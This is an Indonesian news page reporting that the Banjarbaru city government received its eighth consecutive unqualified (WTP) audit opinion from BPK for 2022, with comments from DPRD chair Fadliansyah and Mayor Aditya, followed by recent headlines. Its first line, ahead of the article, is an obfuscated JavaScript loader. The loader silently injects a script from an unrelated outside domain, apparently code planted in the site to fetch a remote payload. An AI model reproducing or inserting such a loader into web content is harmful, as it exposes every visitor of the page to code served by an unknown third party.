(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pemko Raih Opini WTP Kali ke-8, Ini Respon Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru meraih opini Wajar Tanpa Pengecualian (WTP) atas Laporan Keuangan Pemerintah Daerah tahun 2022 oleh Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalimantan Selatan.

Ketua DPRD Banjarbaru Fadliansyah mengapresiasi opini WTP yang diraih Pemko Banjarbaru 8 kali berturut-turut dari BPK RI.

“Apresiasi dan terima kasih kepada jajaran Pemko Banjarbaru dan auditor BPK yang bekerja maksimal mengaudit tata kelola keuangan,” ujar Fadliansyah usai menerima dokumen LHP.

Ketua DPRD Banjarbaru Fadliansyah bersama Wali Kota HM Aditya Mufti Ariffin menerima langsung dokumen LHP atas LKPD 2022 diserahkan Kepala Perwakilan BPK RI Kalsel Rahmadi, Rabu (10/5/2023).

Baca juga: Banjarbaru Tuan Rumah MTQ XXXIV Tingkat Provinsi Kalsel, Ini Tanggal Pelaksanaannya

Menurut Fadliansyah, opini WTP yang diberikan BPK RI menandai pengelolaan keuangan yang telah dilakukan jajaran Pemko Banjarbaru sudah baik, transparan dan telah dijalankan secara akuntabel atau bertanggung jawab.

“Harapan kita semua, pengelolaan keuangan yang sudah baik mampu mendorong perkembangan dan kemajuan Banjarbaru,” ucapnya.

Secara kelembagaan, DPRD mendorong Pemko Banjarbaru menindaklanjuti rekomendasi yang disampaikan BPK RI sehingga pengelolaan keuangan berjalan sesuai aturan dan ketentuan.

Wali Kota Aditya mengatakan, opini WTP yang diraih bukan sebagai penghargaan melainkan kewajiban yang harus dipenuhi Pemko dalam pengelolaan keuangan mengacu aturan maupun ketentuan yang berlaku.

“Opini WTP ini kewajiban bukan penghargaan, sehingga upaya menyajikan laporan pengelolaan keuangan dilakukan sebaik-baiknya mengacu kepada aturan dan ketentuan,” katanya.

Pihaknya segera menindaklanjuti rekomendasi yang disampaikan BPK sesuai batas waktu yang ditetapkan. (Kanalkalimantan.com/al)

Reporter: al
Editor: kk


Al Ghifari

Recent Posts

Petugas Mulai Sortir Lipat Surat Suara Coblosan Ulang Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Surat suara untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

3 jam ago

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

6 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

8 jam ago

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

20 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

22 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

1 hari ago

This website uses cookies.